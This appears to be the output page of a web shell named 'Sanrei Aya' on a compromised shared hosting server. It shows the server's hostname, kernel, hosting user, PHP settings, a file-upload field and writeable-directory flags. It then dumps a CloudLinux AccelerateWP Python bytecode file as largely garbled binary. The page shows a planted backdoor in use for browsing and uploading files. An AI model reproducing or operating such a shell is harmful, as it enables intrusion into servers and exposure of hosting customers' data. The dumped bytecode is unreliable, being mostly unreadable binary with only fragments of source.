Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clwpos/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/clwpos/__pycache__/whmcs_utils.cpython-311.pyc
�

�C����^���ddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Zddlm
Z
ddlmZddlmZddlmZmZmZmZmZmZmZmZmZddlmZmZdd	efd
�Z d�Z!d�Z"d
�Z#d�Z$d�Z%d�Z&d�Z'd�Z(defd�Z)dS)�N)�cpusers)�gettext)� _get_wpos_statistics_total_count)�drop_privileges)�	WposError)	�
USER_WPOS_DIR�PUBLIC_OPTIONS�AWP_BACKUP_DIR�CLWPOS_UIDS_PATH�CLWPOS_ADMIN_DIR�USERS_CONFIGS_TO_BACKUP�PUBLIC_OPTIONS_FILE_NAME�CLWPOS_UIDS_DIR_NAME�ALLOWED_SUITES_JSON)�
ALL_SUITES�AWPSuite�returnc�L��|r|gntt����}i}|D]}}	tj|��}n%#t$rtjd|��Y�9wxYwtj�	|j
t����fd�tD��||<�~|S)z3
    Collects user configs inside HOME/.clwpos
    z*Cannot collect configs folder for user: %sc�P��g|]"}tj��|����#S�)�os�path�join)�.0�config�
full_user_dirs  ��py/clwpos/whmcs_utils.py�
<listcomp>z(collect_user_configs.<locals>.<listcomp>4s)���h�h�h�f�b�g�l�l�=�&�A�A�h�h�h�)
�listr�pwd�getpwnam�KeyError�logging�warningrrr�pw_dirrr
)�user�target_users�user_folders�pwrs    @r�collect_user_configsr+'s����"�6�D�6�6�t�G�I�I���L��L��i�i��	���d�#�#�B�B���	�	�	��O�H�$�O�O�O��H�	��������R�Y�
�>�>�
�h�h�h�h�Pg�h�h�h��T����s�>�A �A c
�H�|D�]�}t|��5tj�|��s
	ddd���?t	|d��5}|���}ddd��n#1swxYwYddd��n#1swxYwYtj�||tj�tj�|������}tj�|tj�|����}tj�|��stj	|dd���t	|d��5}|�
|��ddd��n#1swxYwY���dS)z(
    Copies configs for single user
    N�rb�T)�mode�exist_ok�wb)rrr�exists�open�readr�basename�dirname�makedirs�write)�username�configs�backups_dirr�f�data�user_backup_dir�backup_paths        r�backup_single_user_confr@8s0������
�X�
&�
&�	 �	 ��7�>�>�$�'�'�
��	 �	 �	 �	 �	 �	 �	 ��d�D�!�!�
 �Q��v�v�x�x��
 �
 �
 �
 �
 �
 �
 �
 �
 �
 �
 ����
 �
 �
 �
 �	 �	 �	 �	 �	 �	 �	 �	 �	 �	 �	 ����	 �	 �	 �	 ��'�,�,�{�H�')�w�'7�'7������8M�8M�'N�'N�P�P���g�l�l�?�B�G�4D�4D�T�4J�4J�K�K���w�~�~�o�.�.�	D��K��e�d�C�C�C�C�
�+�t�
$�
$�	��
�G�G�D�M�M�M�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	���sM�!B
�B
�A3�'B
�3A7�7B
�:A7�;B
�
B	�B	�3F�F	�F	c
��tg}ttg}t��}tj�ttj�	���
d����}tj�t��st	jtd���t	j|d���|D]7}tj�|��s�"tj||���8|D]r}tj�|��s�"tj|tj�|tj�|�������stj�|d��}t	j|d���|���D]<\}}	t%|||���#t&$rt)jd|��Y�9wxYwdS)z�
    Backups main AccelerateWP configs to
    /var/clwpos/DATE-TIME/.backup/%Y_%m_%d_%H_%M_%S.
    Directory is only root-editable, so no user permissions
    drop is needed.
    z%Y_%m_%d_%H_%M_%Sr.)r/�usersz!Cannot backup configs for user %sN)r	rrr+rrrr
�datetime�now�strftimer2�mkdir�shutil�copy2�copytreer5�itemsr@�	Exceptionr$�	exception)�files_to_backup�folders_to_backup�user_configs�current_backup_folderr�user_backupsr9�pathss        r�backup_accelerate_wprSMs���	��O�
	����
(�)�)�L��G�L�L��������(�(�)<�=�=�����7�>�>�.�)�)�-�
���e�,�,�,�,��H�
"��/�/�/�/��2�2���w�~�~�d�#�#�	����T�0�1�1�1�1�!�[�[���w�~�~�d�#�#�	�����b�g�l�l�+@�"�'�BR�BR�SW�BX�BX�Y�Y�Z�Z�Z�Z��7�<�<� 5�w�?�?�L��H�\��&�&�&�&�'�-�-�/�/�����%�	�#�H�e�\�B�B�B�B���	�	�	���A�8�L�L�L��H�	�����s�
G�H�Hc	�n�t��\}}}g}tj��D]�\}}|tjkrq||vrm||vrid}|tt
|j��dd���z
}|tt
|j��d��z
}|dkr|�|����|rDtj
dddd	d
�|��gtjtjd���|rDtj
dddd	d
�|��gtjtjd���|rDtj
ddd
d	d
�|��gtjtjd���|r2tj
ddd|gtjtjd���dSdS)zL
    Restore AccelerateWP suite states from latest backup (server-wide)
    r�allowedT)�allowed_by_modules�visiblez/usr/bin/cloudlinux-awp-adminz	set-suitez--disallowed-for-allz--suites�,)�stdout�stderr�textz--visible-for-allz--allowed-for-allzset-optionsz
--upgrade-urlN)
�_get_backup_of_public_optionsrrJr�namerr �features�append�
subprocess�Popenr�PIPE)�visible_suites�allowed_suites�upgrade_url�disallowed_suites�
suite_name�suite�
suite_useds       r�+restore_accelerate_wp_public_options_backuprj~s&��3P�2Q�2Q�/�N�N�K���'�-�/�/�5�5��
�E����&�&�:�^�+K�+K�PZ�bp�Pp�Pp��J��:�4���;O�;O�QZ�os�t�t�t�t�J��:�4���;O�;O�QZ�[�[�[�J��Q���!�(�(��4�4�4���G���+��"���H�H�&�'�'�)��?�:�?��
	G�	G�	G�	G��G���+�����H�H�^�$�$�&��?�:�?��
	G�	G�	G�	G��G���+�����H�H�^�$�$�&��?�:�?��
	G�	G�	G�	G��G���+����	�
�?�:�?��	G�	G�	G�	G�	G�	G�G�Grc�V�g}g}d}t��}|�rtj�|t��}tj�|��r�t
|��5}	tj|��}|�	dg��}|�	dg��}|�	dd��}nJ#tj
j$r3}ttd��t|��d|i����d}~wwxYw	ddd��n#1swxYwY|||fS)N�rdrcrezMBackup file is corrupted: %(config_file)s or fix the line provided in details�config_file)�message�details�context)�_get_first_backup_folderrrrrr2r3�json�load�get�decoder�JSONDecodeErrorr�_�str)rdrcre�first_backup�public_options_backup_filer<�public_options�errs        rr\r\�s����N��N��K�+�-�-�L��M�%'�W�\�\�,�@X�%Y�%Y�"�
�7�>�>�4�5�5�	M��0�1�1�
M�Q�
M�%)�Y�q�\�\�N�%3�%7�%7�8H�"�%M�%M�N�%3�%7�%7�8H�"�%M�%M�N�"0�"4�"4�]�B�"G�"G�K�K���|�3�M�M�M�#� !�#I�!J�!J� #�C���!.�0J� K�	M�M�M�M�����M���� �
M�
M�
M�
M�
M�
M�
M�
M�
M�
M�
M����
M�
M�
M�
M��>�;�6�6s7�+D�-AC�D�D�.D�D�D�D�"Dc��tj�t��r#d�tjt��D��SdS)Nc�n�g|]2}|����|j�d���0|��3S)�.)�is_dirr]�
startswith)r�entrys  rrz&get_backup_folders.<locals>.<listcomp>�s=��s�s�s�%������s�X]�Xb�Xm�Xm�nq�Xr�Xr�s��s�s�sr)rrr2r
�scandirrrr�get_backup_foldersr��sC��	�w�~�~�n�%�%�t�s�s�2�:�n�#=�#=�s�s�s�s�t�trc�d�t��}d}|rt|d�d���}|r|dSdS)Nc��|jS�N)r])r�s r�<lambda>z*_get_first_backup_folder.<locals>.<lambda>�s��E�J�rF)�key�reverser)r��sorted)�folders�backupss  rrqrq�sJ�� �"�"�G��G��O���&>�&>��N�N�N�����q�z���4rc���tjt��D]�}|�d��r�tj�t|��}tj�td|����}tj�|��rD	tj||����#t$r }tj
d||��Yd}~��d}~wwxYw��dS)Nrz,Unable to deprecate backup dir %s. Error: %s)r�listdirr
r�rr�isdir�rename�OSErrorr$rL)�folder�folder_path�
folder_new�es    r�%make_accelerate_wp_backups_deprecatedr��s����*�^�,�,�	b�	b�����S�!�!�	���g�l�l�>�6�:�:���W�\�\�.�,�f�,�,�?�?�
�
�7�=�=��%�%�	b�
b��	�+�z�2�2�2�2���
b�
b�
b��!�"P�R]�_`�a�a�a�a�a�a�a�a�����
b����	b�	b�	bs�B5�5
C�?C�Cc
�n�i}i}t��}|stjd��iStj�|t��}tj|��5}|D�]4}tj�|t��}	tj
t|j����d}n#ttf$rY�iwxYwtj�|��s��t!|��5}	t#j|��}	|	�di��||<nB#t"jj$r+}
tjd||
j|
j��Yd}
~
nd}
~
wwxYwddd��n#1swxYwYt1|��}��6	ddd��n#1swxYwY|S)Nz4Can't restore WHMCS backup. There is no backup data.r�suiteszZBackup file is corrupted: %s or fix the line provided in detailsStdout is %s. Stderr is %s)rqr$rLrrrrr�rr!�getpwuid�intr]r#�	TypeErrorr2r3rrrsrtrurvrYrZ�_group_users_by_suites)r��grouped_by_suite_usernamesry�users_uids_dir�entries�
uid_folder�uid_config_pathr9r<�
uid_configr�s           r�_get_backup_of_users_suitesr��s^��
�F�!#��+�-�-�L�����P�Q�Q�Q��	��W�\�\�,�0D�E�E�N�	��N�	#�	#�H�w�!�	H�	H�J� �g�l�l�:�7J�K�K�O�
��<��J�O�(<�(<�=�=�a�@�����i�(�
�
�
���
�����7�>�>�/�2�2�
���o�&�&�
:�!�:�!%��1���J�'1�~�~�h��'C�'C�F�8�$�$���|�3�:�:�:��%�'C�DS�&'�h���:�:�:�:�:�:�:�:�����:����	
:�
:�
:�
:�
:�
:�
:�
:�
:�
:�
:����
:�
:�
:�
:�*@��)G�)G�&�&�)	H�H�H�H�H�H�H�H�H�H�H�H����H�H�H�H�,&�%s��$+F*�,B=�<F*�=C�F*�C�2F*�F�-D3�2F�3E2	�!E-	�(F�-E2	�2F�5F*�F�F*�F�	F*�*F.�1F.�uids_suitesc���i}|���D]Z\}}|���D]@\}}||vri||<|||vr|gi||<|||�|���A�[|S)a
    Groups uids by suite and status to change suite status for multiple uids by one run.
    Converts per uid dict from
    uids_suites = {
        "user1": {
        "accelerate_wp": "allowed",
        "accelerate_wp_premium": "visible",
        "accelerate_wp_cdn": "default",
        "accelerate_wp_cdn_pro": "allowed"
        }
    }
    to
    {
        "accelerate_wp": {
            "allowed": [user1,user2,user3],
            "visible": [user1,user2,user3],
            "default": [],
        }
    }
    )rJr_)r��grouped_by_suite_uids�uidr�rh�statuss      rr�r�
s���*��"�(�(�*�*�=�=���V�#�\�\�^�^�	=�	=�M�E�6��1�1�1�/1�%�e�,��2�5�9�9�9�06��|�%�e�,�!�%�(��0�7�7��<�<�<�<�	=�!� rr�)*rCr$rrGrrr!r`�clcommon.cpapir�clwposrrw�clwpos.statsr�clcommon.clpwdr�clwpos.cl_wpos_exceptionsr�clwpos.constantsrr	r
rrr
rrr�clwpos.feature_suitesrr�dictr+r@rSrjr\r�rqr�r�r�rrr�<module>r�s�����������	�	�	�	�
�
�
�
�����
�
�
�
�����"�"�"�"�"�"�������9�9�9�9�9�9�*�*�*�*�*�*�/�/�/�/�/�/�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�7�6�6�6�6�6�6�6���t�����"���*.�.�.�b0G�0G�0G�f7�7�7�0t�t�t�
	�	�	�
b�
b�
b� &� &� &�F!��!�!�!�!�!�!r

Yohohohohohooho | Sanrei Aya